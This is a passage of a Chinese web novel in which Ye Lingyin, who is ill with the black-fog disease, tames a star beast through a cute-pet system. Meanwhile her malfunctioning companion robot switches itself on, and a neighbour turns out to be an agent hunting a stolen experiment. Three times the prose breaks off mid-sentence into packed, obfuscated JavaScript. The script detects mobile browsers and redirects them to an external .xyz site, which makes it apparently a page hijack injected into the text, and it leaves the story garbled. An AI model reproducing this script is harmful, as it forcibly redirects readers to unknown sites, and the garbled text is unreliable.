系统十分笃定地说：“宿主大人放心吧，进入这个空间的只是宿主大人的意识，不会受伤的。而且有小萌在呢，我虽然在其它方面很没用，但只要是萌宠相关的事就永远不会掉链子！在这个空间里保护宿主大人不受伤害简直绰绰有余！” 听系统的语气，如果它有自我形象简直恨不得拍着自己的胸脯向叶聆音打包票。 叶聆音安下心来，她抬头看向头顶的计时器，这里的时间流速比外界慢10倍，也就是说她在空间里呆一个小时，外面才过去了六分钟。空间内的温度和湿度都很适宜，虽然看不到通气口，但并不会产生憋闷的感觉。自己甚至可以在这里面睡上一觉再出去，外面的世界可能才刚刚天黑。 她索性靠着墙壁以一个舒服的姿势坐了下来，与她对峙的星兽见她突然动了起来，被吓得后退了几步，浑身的绒毛蓬松得更厉害，就好像是触电了一样。保持警戒状态的星兽心惊胆战地等待了一会儿，发现叶聆音只是沿着墙角坐了下来，没有表现出要攻击它的意图，甚至都没有看它。 叶聆音虽然也很喜欢可爱的小动物，但没有养过任何宠物。她只好好把自己来幼儿园求职前学习到的，对待小朋友的技能用到这里。自己比星兽高出不少，直接站着可能对星兽有压迫感，现在坐下来后，星兽果然没有一开始那么紧张了。 星兽身上的绒毛逐渐平息了下去，最初仍是死死地盯着叶聆音，久而久之它的注意力开始涣散，下意识地开始打滚、理毛，做一些自然状态下星兽习惯性的举动。 有时候，它会突然反应过来这个空间里还有一个陌生人类，并重新进入警戒状态。但如此反复多次后，星兽似乎确认了叶聆音不会伤害自己，开始在距离叶聆音最远的对角墙边活动。 空间内的时间流速很慢，叶聆音打算在空间内多呆一会儿，什么都不做就等星兽慢慢习惯她的存在。 而叶聆音不知道的是，就在系统空间之外，她租住的小房子里，那个买回来没多久的小机器人不知什么时候自己启动了。它抬起小短腿一步一步走到桌面中央，摄像头正亮着灯，它已经观察着叶聆音失去意识的躯体很长时间了。 8. 故障 奇怪。 小F的基础功能里有监测使用者生命体征的功能，因为这种陪伴型机器人的主要目标用户是上了年纪的独居老人，陪着聊天解闷讲笑话。如果家中老人出了什么意外，它也可以及时拨打急救电话并发送实时位置。 而它的主人叶聆音并未开启这项功能，只是在观察到叶聆音坐在书桌前一动不动，小F便自己开启了这项功能。 经过对叶聆音这具身体的全面扫描，小F得出结论：它的主人还活着。 但，为什么完全不动呢？ 很奇怪。 原本被搁置在床头的小F开始朝叶聆音所在的位置移动，这个身体只适合原地跳舞哄用户开心，程序里预设了几套不同的舞蹈动作，走路和攀爬并不擅长。 不到两米的距离，它手脚并用匍匐前进，甚至某些有高度差的地方需要借助后空翻来移动。 终于爬到了桌面上，小F来到叶聆音跟前，它发现叶聆音闭着眼睛。 主人……在睡觉？ 根据它这几天来对这个世界的了解，闭上眼睛这一行为确实有极大的可能性是在睡觉，但根据当下这些信息无法排除其他可能性。 它刚好也有监测睡眠状态的功能，不过这个功能需要它将探测器接触到主人的皮肤，最好是手腕。 小F站到桌子边缘，其中一只机械臂旋转一圈，发出“咔哒”声，积木小人一样的括号手前端亮起一截淡紫色的灯光。 叶聆音的身体靠在身后的椅子上，小F的短胳膊已经伸展到了极限，却还是距离女孩的手指差了两三厘米的距离。 它来回调整身体的姿势，但这个身体可活动的关节实在不多，圆滚滚的本体又太过笨重，在它又一次尝试将大半个身体探出桌面去够叶聆音的手指时，突然脚下一滑，直接从桌边滚落到了叶聆音怀里。 恰好在这时，叶聆音的意识也从系统空间里回归到了自己的身体。 意识回笼的下一秒，她就感到自己的双腿受到了重击。低头一看，记忆中分明是摆放在床头的小机器人，竟然莫名其妙出现在了自己腿上。 并且还是开机状态！ 没有留意到叶聆音的异样，系统还在她耳畔聊天：“宿主大人，今天任务进展很顺利哦~虽然还是没有获得这个世界里萌宠的信任，但我能看出来，它对宿主大人已经没有最开始那么戒备了。” 小萌，你先等等。 叶聆音打断了与系统的对话，她将小F重新放回桌面，转身看向床头。 不会错的，她记得很清楚，自己刚回到屋子看到小F的电充满了，就把插头取下来将小F放到了床头，打算晚上躺在床上的时候对着它说说话后就睡觉的。 为什么会突然出现在这里？ 叶聆音站起身，拿起小机器人看了很久，眉头也越皱越紧。 过了好半晌，她抬手抚上自己的额头。 难道是因为自己的黑雾病加重了？记忆出现了偏差吗？ 可这不合理，如果小F是被自己带过来的，那么她为什么要这么做呢？她从公园里带回那只受伤的星兽，回到家要做的第一件事就是在一个私密安全的环境里继续探索这个萌宠系统，怎么想都不可能先去摆弄这个小机器人吧。 “出什么事了吗，宿主大人？”系统不明白，宿主为什么一出空间就盯着那个小机器人看，还一副非常苦恼的模样。 来不及与系统说话，一个更加可怕的猜测浮现在叶聆音脑海中——家里进贼了！ 在极度的恐慌中，她排查了自己这间并不算大的屋子，没发现藏了人或是被陌生人动过的痕迹。 一筹莫展的叶聆音重新坐回座位，她怀疑的目光再次看向那个白色外壳的圆形小机器人。 这时，小F也主动发出了声音：“主人晚上好，今天心情怎么样，有没有什么趣事可以和小F分享呀？” 叶聆音：…… 思来想去，唯一的解释只能是小F本身的故障了。 最初以为它只是会不分场合地讲鸡汤句子，现在看来它出问题后还会自己唤醒，自己移动。 难怪有几天她感觉小F用起来十分耗电。 无论如何，不是家里进贼就好。 叶聆音松了一口气，她告诉系统自己没事了，又拿起小F按下了圆形外壳后面的关机键，伴随着“叮咚”一声提示音，小机器人身上所有亮灯的地方都熄灭了。 说明书上写了，手动关机后除非再次长按开机键，否则机器人不会被唤醒。 这次应该不会自己启动了，叶聆音心想。 自己当时或许该听句劝，不要买有故障的残次品的…… 叶聆音摇摇头，她大概只是把自己内心的希冀投射到这个小机器人身上了。 会自我唤醒还能到处乱走，这种故障如果放任不管说不定哪天会造成麻烦，她找到当时还没丢的包装盒，将小机器人重新装回去，然后连同盒子一起放进墙角的储物柜。 抱歉，小F，如果在我死前能赚到足够的钱，我再找人修好你。 ———— 窗外，天色已经完全暗了下来，父母每天都是天快黑的时候打视频过来，今天都这么晚了怎么还没动静？ 喝下一瓶营养液后，叶聆音打算先去看看室友宋琪是否回来了。她来到走廊边上，对面的大门紧闭着，和平时没有任何区别。 犹豫片刻，叶聆音上前敲了敲门，无人应答。 如果不是周安国听岔了，宋琪工作的那家酒吧昨天半夜里被查封，这个时候她无处可去应该会回来。 是被扣下来接受调查了吗？ 叶聆音折返回自己的屋子，打开光脑，上面的新消息提醒还是零。 那段担惊受怕的日子让她的神经变得格外敏感，叶聆音怀疑是不是家里出事了，她先是打给了妈妈，音乐响了很久都无人接听，叶聆音心中一沉，赶忙打给爸爸。 这一次，画面亮起来了。 看到父亲熟悉的面庞，叶聆音稍稍松了一口气。 “聆音，你今天过得怎么样啊，下午吃的什么饭？不要总喝营养液了，我看网上有专家说，这种工业化产品吃多了对身体不好。”叶向明说话的样子和内容与往常没有任何区别，但叶聆音还是从光脑传输过来的画面中发现了不对。 她看到父亲身后，母亲坐在沙发上，背对着镜头默默地枯坐着不说话。 “妈，你怎么不说话？”叶聆音有些急切，便单刀直入直接问她了。 秦蓝的背景僵了一下，她抬起手往脸上抹了几下，这才转过身来，脸上带着微笑：“聆音， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862802|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天怎么主动打来了，是不是想家了？” 叶聆音立刻就看到母亲那双哭到红肿的眼睛，她连忙追问究竟怎么了。 夫妻二人对视一眼，见瞒不过去了，便由叶向明简单解释了来龙去脉。 “其实也没什么大事，你不用担心。” “你妈妈，她厂里有个嘴碎的同事，总是当着你妈和好多人的面提起你的事，你妈妈气不过，两人发生了一点口角，结果闹到领导那儿去了……”叶向明停顿了一下，他下意识地唉了一声，继续说道：“她们工厂这几年发展不太好，本来就打算裁员了，所以……” 虽然父亲没有说完整，叶聆音瞬间就明白发生了什么——她母亲被辞退了。 因为她，家里变得更加困难了。 父亲安慰她，说妈妈厂里的报酬本来就不高，影响不大。 “而且聆音如今不是也工作了有收入了吗？” 听到父亲说到这句话，叶聆音的喉头梗了一下，她使劲掐了掐自己，没有在画面中表现出不对劲。 父母想必也不太想和她聊起不开心的事情，互相问候了几句便让她早点休息，匆匆挂断了语音。 叶聆音放下光脑，静静地呆坐了一会儿，俯下身将脸埋进膝盖。 怎么办？ 怎么办啊…… ———— 黑暗中，小机器人被安置在狭窄的包装盒里，就和它刚从工厂传送带上被运输出来时一样。 它知道自己被关机了，现在既不能动弹，也不能发出声音，完全就是个死物。 不，按照这个世界的定义，机器人本来就是死物，只是靠电力驱动，依照程序设定模仿人类的死物。 小F突然不想做机器人了。 可人类不也是需要能量驱动吗？能量耗尽前不能摄入食物就会死，而且死后再吃东西也不能活过来，不像它，可以反复充电，反复激活。 而且人类不也是被体内的程序控制着，他们难道就很自由，想做什么就能做什么，不想做什么的时候就可以不做吗？ 嗯，虽说控制他们的程序更精密就是了。 它还要在这个盒子里呆多久？ 不知道。 这全凭主人的心意。 哦，主人…… 被装进黑黢黢的盒子里，小F不禁开始反思：自己为什么一定要确认主人是不是睡着了呢？程序里又没写这一条，它到底在担心什么。 现在好了，它倒是可以强迫自己的身体无视设置强行开机，但以它目前储存的电量，如果继续上网，只能保持开机状态九个多小时。 一旦电量耗尽，它的身体就彻底动不了。 归根结底，还是这个身体每次能存储的电量太少了，如果一直插着电源，它的活动范围又被限制。它最近上网查到，市面上有一种续航高达十五天的新型机器人，行动起来也更轻便，作为它的新身体真是再合适不过了。 …… 滴答——滴答—— 什么都看不到，只能听到房间里的旧式钟表发出的声音。 唉，好无聊。 被锁在柜子里，静默无声的小机器人，再次亮起了指示灯。 管它呢，反正电量总会一点一点用完的。 事已至此，先上网吧。 9. 信任 前半夜，叶聆音总是睡得不踏实。 往常根本注意不到的钟表声，此时却好像在枕头下面不停地转动，吵得她睡不着。 在床上翻来覆去好多次，叶聆音起身取下墙上的钟表，看了一眼上面的时间。 凌晨三点。 她从钟表后面取出电池，旋转的指针不再向前，她又重新将其挂回了原位。 “咚、咚、咚……” 指针转动的声音是消失了，不过这时的叶聆音听到了新的声响，是从外面走廊传过来的，像人上楼的脚步声。 叶聆音走到门口，又听到一阵打哈欠的声音，是宋琪。 她拧动把手打开了房门，走廊的顶灯照下来，恰好看到宋琪正掏出钥匙准备开门。 似乎是早就听到了房门内的动静，在凌晨三点看到叶聆音突然打开房门，宋琪没有太惊讶，反倒朝她挥了挥手，说：“还没睡啊，你是夜猫子？” “宋琪……”叶聆音也被周安国影响了，她小心翼翼地压低了声音，“听说你上班的酒吧被查封了？” “哇，你也知道了，消息传播得这么快？不过也是，都过去快一整天了。”她说着，突然骂了一句脏话，愤愤不平道：“说起来就来气！被查封是因为在酒吧抓了个罪犯，好像是最近常来的客人。但这和我有什么关系啊？好家伙把我带去一顿审，这个点了才放人。” 原来是这样。 两人不算特别熟，叶聆音这个时候跑去安慰人家也显得奇怪，只是轻声道：“没事就好。” 宋琪点头的同时已经打开门走了进去：“嗯嗯，你也早点睡吧，女孩子总熬夜脸上容易长斑，我听闺蜜说的。” 咔哒—— 两边的门都关上了。 女人反锁了门，走到床边时，抬手摘下了那个名为“宋琪”的ID手环，连同身上的光脑一起丢进了抽屉。 她坐到椅子上，活动了几下关节后，弯腰从床下搬出一个铁盒，从里面取出一本上了锁的日记本。 看到封面粉红色的心形锁，女人冷哼一声：正经人谁写日记啊？ 她输入密码，翻开书页，从空洞处取出一台特制的光脑，发出一段消息。 等待了不到三分钟，对面回信了。 “BOSS啊，帝都那边的人核实过了，说确实没找到那个丢失的实验品，您还得在这边继续调查。” 女人扯了扯下唇，鼻头皱起，露出一个不屑的表情。 F*k！ 昼伏夜出这么多天，好不容易拿到关键性证据把那个通敌的官员给送进去了，如今上面却告诉她任务只完成了一半？ 这该死的短命鬼为了向敌国投诚，让潜伏在皇家科学院的手下盗走了一样实验品，危险等级为最高的红色。帝都追查的人员在一家机器人工厂抓到了那个监守自盗的间谍，不过没有找到那个丢失的实验品，他们怀疑实验品是不是已经被转移到了蓝梦星，让她继续蹲守在这里调查。 好好好，让她继续调查，她没有怨言，但好歹告诉她这个实验品是个什么东西吧！是外星生物？还是什么能源矿石？对人有没有危险？需不需要穿着防护服再进行接触？ 没有，这些关键信息都没有。 她看这群科学院里的老学究们天天做实验人都做傻了，要她帮忙找东西，又不告诉她要找的东西长什么样子。 问就是“这是最高机密，不能轻易告知他人”。 这时，特制的光脑上又传输来一条消息：“BOSS你先别急，我们这边和科学院在进行沟通了，您可以先在蓝梦星四处逛逛，就当是在乡下度个假嘛~” ———— 第二天，星际网一条早上八点发出的新闻，不到半个小时就登上了热搜第一。 #帝国一高级官员通敌被捕# #直击庭审现场# “啧啧啧，真是没想到啊没想到啊。”周安国目不转睛地看着屏幕上的报道，没想到有一天他们这穷乡僻壤也出了这么大的案子。他眼睛盯着屏幕，一只手在桌上摸到杯子，端到嘴边抿了口茶后，抬眼看向坐在门口晒太阳的宋琪。 周安国：“那天执法局的人冲进来抓人的时候，现场是不是很紧张？” 宋琪托着下巴，扭过头瞥了对方一眼：“呵呵。” 涉事酒吧还没有解封，她暂时不用去上班，在屋子里呆无聊了就下来到周安国的水果店里坐坐。 “唉，要我说啊，最好还是有个稳定点的工作……”周安国没忍住自己爱唠叨的性子，但在看到宋琪飘过来的并不算友善的眼神后，又噤声了。 这时，叶聆音从楼上走了下来。 宋琪看了她一眼，又看了看表，嘟囔了一句：“这个时间出来遛弯……你也失业了吗？” 叶聆音苦笑着点点头。 今天上午，她给星兽尝试着喂了点营养液，从系统空间里被放出来的星兽只是凑近闻了闻她放在碟子里的营养液，并没有要吃的意思。叶聆音在网上查到，有人说他看到星兽会吃一种果子，还附上了图片，叶聆音就打算来楼下的水果店看看。 没有找到图片上的那种，叶聆音挑了好几样类似的水果，每样只买了一个，打算带回去碰碰运气。 昨天想了一晚上，叶聆音有了一个主意，自己一直苦于没有特别的素材来做，正好系统的任务也是收集萌值。她可以把饲养星兽的视频发到网上去，这个题材不一定吸引人，但在没有养宠物习惯的曜之帝国绝对够新颖。 叶聆音将几种果子洗干净，想了想没有切，直接囫囵放在一个大盘子里，随后她放出星兽，便蹲在一旁观察星兽会不会主动去吃这些果子。 星兽的四只爪爪点地，轻盈地落在了地面上。 它左右张望了一圈，又低头在附近仔细嗅闻了一番，认出了这是今天上午自己曾经来过的地方，身上焦糖色的绒毛舒缓了下来。 很快，星兽就注意到了一旁叶聆音的目光，它赶忙躲到了床后面，过了一会儿才慢慢从床后面探出半个毛绒绒的脑袋观察着叶聆音。 它见过这个人，她这么长时间里都没有表现出有敌意的样子，星兽渐渐放松了警惕。与此同时，它也闻到了距离自己不到半米的地方，新鲜果子散发出的馥郁芬芳。 系统空间虽然治好了它的伤，但“治不好”饥饿。 星兽被果子的香气吸引了，它匍匐在地上向前迈出一只山竹爪爪，又微微抬起头盯着叶聆音看了一眼，确认后者没有威胁后，又迈出另一只爪子，就在即将碰到果盘的时候，星兽突然加快了速度，飞快地两步并做一步冲上来用嘴巴叼起一个硬币大小的红色果子，便再次躲到了床后面。 来到自认为安全的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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自己在屋子里养了一只星兽这件事，得瞒着房东进行。那天她假装闲聊的时候提起对星兽的看法，看周安国的态度，虽然对这小东西没有什么特别的敌意，却会担心星兽偷溜进他的仓库咬坏他的水果。 更糟糕的是，叶聆音捡回来的这只星兽，它真的爱吃果子。 所以大部分时间里，叶聆音都会把星兽回收进系统空间内。 这天夜里，她放星兽出来吃饭，自己则是坐在电脑旁学习剪辑技术。过了大概二十多分钟后，叶聆音突然听到脚下传来“miu——miu——”声。 她低头一看，脚下的星兽也正仰起头看着她。 “miu——miu——”焦糖色的毛团子发出声音。 星兽竟然这么叫的，这还是这么久以来，叶聆音头一回听到星兽的叫声。 “你吃饱了吗？”叶聆音一边说一边抬头向不远处的托盘看去，上面的果子都被吃完了。 她正准备起身去收拾，星兽却围绕着她的双脚来回转圈，随后很用力地用脑袋和半边身体蹭她的腿。 哪怕隔着一层睡衣，叶聆音也感受到了那温热的、软乎乎的触感。 心间仿佛干涸开裂的土地上突然涌现出一股热泉，叶聆音鬼使神差般重新坐回了座位，她一动不动地低头看着，任由星兽毛绒绒的身体在她腿上边嗅边蹭，这么多天积压在胸中的阴霾也在顷刻间消散了不少。 系统欢快的声音一同响起：“恭喜宿主大人完成新手任务：获得萌宠的信任，奖励100萌值！” 10. 不失绵 “做的好啊，宿主大人！显而易见，这只桀骜不驯的萌宠现在已经为您所折服，宿主大人现在可以为萌宠起个名字了。”系统的声音十分亢奋，叶聆音仿佛幻视了它举着荧光棒在她身旁来回挥舞的样子。 又要起名字了，叶聆音心想。 上次还是给小F取名字。 给这只星兽起什么名字呢？ 系统建议她：“宿主大人，要不先看看这只萌宠是妹妹还是弟弟吧？”它的意思是看看这只星兽的性别。 叶聆音俯下身对着星兽伸出手打算将它抱起来，星兽来回嗅了嗅叶聆音的双手，没有拒绝，任由叶聆音把它抱在怀里。星兽的下巴搭在女孩的胳膊上，慢悠悠地摇晃着鸡毛掸子似的大尾巴。 “miu——miu——” 她一手抱着星兽，一手在电脑上搜索分辨星兽性别的方法，结果却出乎她的意料。 一些对星兽感兴趣的网友也很好奇星兽性别的划分，但目前最权威的说法是：星兽没有性别区分。 就算有，当下也没有任何研究可以给出区分方法，星兽的外表多变，无法判断究竟哪里才是两.性特征。而且，星兽是靠自我分裂繁殖的，分裂过程中的变异程度很高，产生的后代形态也各不相同，和一些单细胞生物有点像，所以大多数人都认可星兽是无性的这一说。 系统：“真是神奇，我还是第一次遇到这种属性的萌宠呢，得记录下来。” 叶聆音轻轻抚摸着星兽绸缎般的绒毛，星兽虽然个头不大，但还是有一定分量的。这么沉甸甸地压在叶聆音腿面上，还源源不断地向外散发出热量，她的心中有种难以言喻的踏实感。 给宠物起名字不是什么难事，大多是用叠字，或者食物取名，可爱就行。 圆圆？贝贝？布丁？元宝？ 她在脑海中筛选那些常见名字的时候，莫名想到了给小F命名的那一天，想到了它讲给自己的那个“失绵”的笑话，忍不住捂着嘴笑出了声。 系统不明白她为什么笑，不断追问她。 “就叫‘不失绵’吧。”叶聆音决定起一个有个性点的名字，想了想又补充了一句，“大名是‘不失绵’，小名是‘绵绵’。” ———— 第二天早上，叶聆音将账号名改成了“星兽不失绵”，并上传了一段星兽吃水果的视频。 发出去没多久就收到了一条评论。 【竟然有人养星兽？！】 她按下刷新键，又看到一条新评论。 【它吃的什么东西，水果吗？】 花二十多分钟打扫了屋子洗了衣服后，叶聆音点开后台查看，又多了两条评论，还有几个点赞。 看播放量，基本上点进来的有一半人都发评论了，但因为一开始就点进视频的人很少，所以显得很是冷清。 她一个纯新人账号，会被推送到她的视频并且还点开看了的人，应该大部分本身就对星兽感兴趣吧。有两个IP相距很远的人还在她的视频下面就星兽掉毛的严重程度展开了一番讨论。 【主播叫星兽不失绵，好怪的名字，这是什么意思？】 叶聆音回复了那一条评论后，便关上了电脑。 前些天买来的蛋糕原材料还有一些，她打算今天再做一些蛋糕换个地方去卖。 一切准备就绪后，马上到学生们下午放学的时候了。叶聆音这回带着自己的小摊去了一个中学门口，她算是找对了地方，学生们来来往往，刚放学正是饿肚子的时候，她的蛋糕卖得不错。 傍晚回到住处，她稍作整顿后就打开了网站查看自己发出的那一条视频，结果发现过去了一整个下午，无论是播放量还是点赞都停滞了。 今天星际网上大部分热度，都被几天前那条帝国高级官员通敌被捕的新闻占据了。排在这条爆炸新闻下面的，是一条买了推广的新综艺宣传片。 叶聆音只是在拉动页面滚动条的时候不经意扫过一眼，视频封面上那个加大加粗的特邀嘉宾名字就这么被动地晃进了她的眼睛。 她放在电脑上的手指有一瞬间的僵滞，随后假装什么都没看到，继续往下浏览其它视频。 ———— 帝都星，皇家科学院。 穿着实验服，坐在办公桌前的厉决，正垂眸看着面前的一份节目企划。 一家电视台策划了一个面向大众的科普型综艺节目，半个月前邀请他代表科学院作为特邀嘉宾前往。这已经不是厉决第一次收到电视台的邀请了，有的甚至和他的工作都不沾边，是纯粹的娱乐性质的节目。 不过，电视台做节目的人也不是傻子，邀请厉决当然是有流量才会这么做。皇家科学院作为曜之帝国最高学术机构，几乎汇集了整个帝国顶尖的科学家，提起皇家科学院，许多人的第一感受就是崇拜。 厉决也是科学院的研究员，并且师从科学院首席的贺徕教授。他年轻有为，相貌出众，哪怕平时很少出现在媒体面前，他在女性观众中的人气甚至比一些偶像还要高。 面对前几次邀请，厉决都拒绝了。 不过这次，他选择了同意参加。原因则是，他认为是时候主动提升自己在大众面前的知名度了。 研究表明，觉醒了精神力的人容易患上黑雾病，长期吃药确实可以缓解症状，以他的条件买药不成问题。可他自己作为研发者，知道这药的副作用，那就是会导致思维迟缓。 普通人，特别是上了年纪的人，这些副作用可以被解释为精力下降的正常生理表现。 但他作为研究人员，这个副作用对他即使达不到致命的程度，那也是大伤元气的存在。 虽然他现在并未患上黑雾病。 他只是讨厌无法掌控的事情，包括尚未发生的未来。 未雨绸缪才是一个聪明人该做的事。 想到这儿，他似乎回忆起某件不愉快的经历，男人锋利的眉眼间闪过一丝厌恶。除了对那个卑鄙无耻的骗子，也包括曾经掉入过这个骗局的，愚蠢的自己。 自己竟然会犯这么低级的错误，每次不慎想起的时候厉决就像吃了苍蝇一样恶心。 这简直是他人生的污点。 他的导师，是皇家科学院首席兼院长——贺徕教授。作为贺教授最杰出的几个学生里面的其中一个，厉决希望自己未来可以继承科学院。 但他知道，导师心目中成为下一任科学院首席的最佳人选不是他，而是导师自己的长子——贺文熙。 并非因为血缘。 换句话说，现在的厉决还可以与同门一争高下，因为他们水平相当，到最后无非是拼运气，甚至是人脉、导师的喜恶等这些与实力无关的因素。 但如果贺文熙还在的话，这个人选是毫无悬念的。 贺文熙就是这样的天才。 不过很不幸，贺文熙在几年前的一次太空科考中遭遇意外不幸受伤，目前对外宣称是在一个神秘的地方接受治疗，至今仍未在公众面前出现。 有人怀疑贺文熙其实已经死了。 那次太空科考的十几名成员中死了六个人，其余活下来的人也早早退休，并对贺文熙是死是活这件事缄默不语。 厉决更倾向于贺文熙是死了，要么也是重伤失去意识很难再醒过来。否则他想不明白当初这件事为何这么神秘，至今甚至连一张贺文熙接受抢救时的住院照片都没有出现过。 成为科学院首席，也意味着那个人拥有了统筹整个科学院资源的权力。等到了那个时候，他也不必再担心手头没有S级治疗师的人脉了。 一切都悬而未决的时候，提升自己在国民之中的知名度，算得上是一个有那么点用的做法。 最近，因为科学院丢失了一样十分重要的实验品，导师总是心神不宁，对科学院正在进行的各项研究也不怎么过问了。 厉决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862804|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私下里用自己的通行证登入科学院内网查询过，那个被盗走的实验品编号为OAC0005，危险等级为：红色（极高危）。 看到这个编号的厉决也是浑身一震，他对导师近来那副魂不守舍，一心只想寻回实验品的状态也能理解了。 这么危险的东西如果在他手上被盗走，那他恐怕连觉都睡不着。 厉决不是没有好奇过这个极其危险的实验品究竟是什么，只是有关OAC0005的更详细资料被锁住了，他没有权限查看。 这东西也不知道现在何处，如果是丢在荒无人烟的地方还好，要是被别有用心的人得到，说不定会出大乱子。 ———— 啊，好无聊。 被关进柜子里的小F一动不动，它最后还是克制住了自己的网瘾。 换言之，过去了这么多天，它还存有一定的电量。 它的学习速度很快，比起最初懵懂无知的时候，它已经对这个世界有了初步的了解。在无聊的时候，它就反复回忆曾经接收到的知识来解闷。 不知道主人现在在做什么呢？ 为了省电，它关闭了摄像头。不过，这个时候就算开着也是漆黑一片什么都看不到。 它起初还能听到主人开门进来的声音，以及她打开电脑的声音和“miu——miu——”声。 这个“miu——miu——”是什么声音？这些天经常出现，小F的信息库里似乎没有能与之对应的存在。 不过，就在刚才，房间里突然一点声音都没有了。 之所以没有声音，是因为叶聆音带着吃饱喝足的星兽回到了系统空间。 她每天晚上喂星兽吃过东西后就会把星兽带到空间里过夜，但这一次，叶聆音刚把星兽放到地上，正要离开的时候，后者突然冲过来伸出两只爪子抱住了她的腿，仰着脑袋露出一双水汪汪的大眼睛，嘴里还发出急切的叫声。 “不失绵？”叶聆音叫它的名字，这些天叶聆音一直在进行强化训练，要让星兽明白，“不失绵”是它的名字。 星兽很着急，只恨自己不说说话，它抱着叶聆音不撒手，甚至四肢并用开始顺着她的腿往上爬。 叶聆音只好俯下身把星兽抱起来，谁知刚把它抱在怀里，后者突然就恢复了平静，不再发出叫声也不再表现出任何焦躁不安的样子。 系统小声提醒她：“那个……宿主大人，不失绵好像不想留在空间里，它想和你待在一起。” 看着怀里这个悠然自得地摇着尾巴的家伙，叶聆音心想，系统说的可能是对的。 系统仍是小声地问她：“宿主大人，要不就像前几次一样，我们先把不失绵哄睡以后，再神不知鬼不觉地离开空间好了。你瞧，它都打哈欠了。” 星兽大张着嘴。 这几天叶聆音为了获得不失绵的信任，确实是这么做的。她当然也可以直接将不失绵一个送进空间，自己不进去。 唉…… 她望着眼前这一方天地，虽然安全又温暖，可除了头顶缓慢跳动的计时器外，始终是一成不变的。 叶聆音沉默了许久后，退出了系统空间。 连同怀里的不失绵一起。 和不失绵在一起的时候，她偶尔会快乐到忘记自己其实是个黑雾病患者。 从发病起不接受任何治疗的患者，他们的存活期差不多是6个月到3年之间。 叶聆音不知道自己具体在哪个区间。 她似乎也没有什么用，除了不成为家人的负担。 现在，在她活着的时候，一只星兽需要她。 而她也说不好自己会在什么时候死去。 叶聆音躺在床上，任由不失绵凑过来枕在她的臂弯。很快，身旁传来均匀、平稳的呼吸声。 叶聆音轻轻抚摸着它，轻轻拍打着那绵密的绒毛。 不知什么时候，沉入了梦境。 11. 假药 叶聆音又做梦了。 不过这一次不是噩梦。 她没有梦到精神力鉴定书上那个鲜红的“N”字，没有梦到走在那条被无数人指指点点的巷子里，也没有梦到房门外密密麻麻没有脑袋，肩膀上长着摄像头的人们。 她睡在一片柔软的草地上，草叶的细丝是那样柔软，那样轻盈。她在软绵绵的草地上翻了个身，背后的地面突然跑动起来，眨眼间化作一只巨大的星兽。 星兽庞大的身体就像一颗毛绒绒的星球，载着她穿梭在银河之间。 漫天的星光仿佛融化在水面上的油彩，不断流动、汇集，并最终融合成一汪散发着白光的‘泉眼’。 星河汇聚而成的源头冲着她大叫。 “主人，救救我！” 是个很熟悉的声音。 梦境中的叶聆音十分确定这个求救的人，是自己认识的人，但她就是想不起来这个人到底长什么样子。 奇诡的梦境变幻莫测，不知怎么回事，她突然又出现在了自己住的房子里，耳畔的求救声愈加清晰。 “主人，放我出去吧，这里好黑，我什么都看不到。” “好黑，好孤独，谁能来救救我？” “我没有坏，不要放弃我。” “救、救命……” 她看到，梦境中的叶聆音晃晃悠悠地起身，缓缓走向墙角的柜子。 …… 叶聆音睁开双眼。 清晨一道透亮的光线从窗帘的缝隙中穿过，照在窗前的桌子上，留下一个明晃晃的斑块。 女孩坐到床边，伸了个懒腰。 昨天是这么久以来睡得最好的一次，早上醒来感到神清气爽。 使劲伸展过筋骨后，叶聆音放下双手。她的右手冷不丁触摸到了一个生着绒毛的物体，惊讶的同时她已经低头向下看去，看到被子上那个焦糖色的团子，这才后知后觉地想起自己昨天晚上没有将星兽放回系统空间。 “不失绵？” 叶聆音一边叫它的名字，一边抚摸着它光滑柔软的身体。最初她还只是轻轻地将手覆盖在那层紧密绒毛的上面，摸着摸着，叶聆音忍不住加大了手上的力气，几乎要揉到皮毛内层的地方才能感到满足。 就像不失绵当初也很用力地蹭她一样。 “miu？” 不失绵也醒了，它脊背上的皮毛微微竖起，扭过头看到正在抚摸自己的人是叶聆音后，又重新恢复了柔顺。它大张着嘴巴打了个哈欠，也和刚起床的叶聆音一样，向前绷直了两只爪子使劲伸了个懒腰。 叶聆音走到窗边拉开窗帘，打开了其中一扇窗户。清新且带着几分凉意的空气涌入，意识瞬间清明了不少，望着远处粉蓝色的天空，叶聆音脑海中闪现出早上睡醒前的一些梦境碎片。 前半段梦境还可以理解，这后半段是怎么回事？ 虽然在梦里的她死活想不起来那个声音是谁，不过现在她醒过来了，根据梦境的画面分析，那个求她救救自己的神秘声音不就是小F吗？ 叶聆音抬手放在眉心使劲揉了揉，不禁在内心自我吐槽：叶聆音啊叶聆音，你是一个人生活太久，太孤独了吗？竟然在梦里看到小F活了过来，还因为独自呆在盒子里怕黑而向自己求救。 机器人怎么可能有“孤独”、“害怕”这种感觉，更何况她把小F放进盒子里收纳起来前，就已经按了关机键。 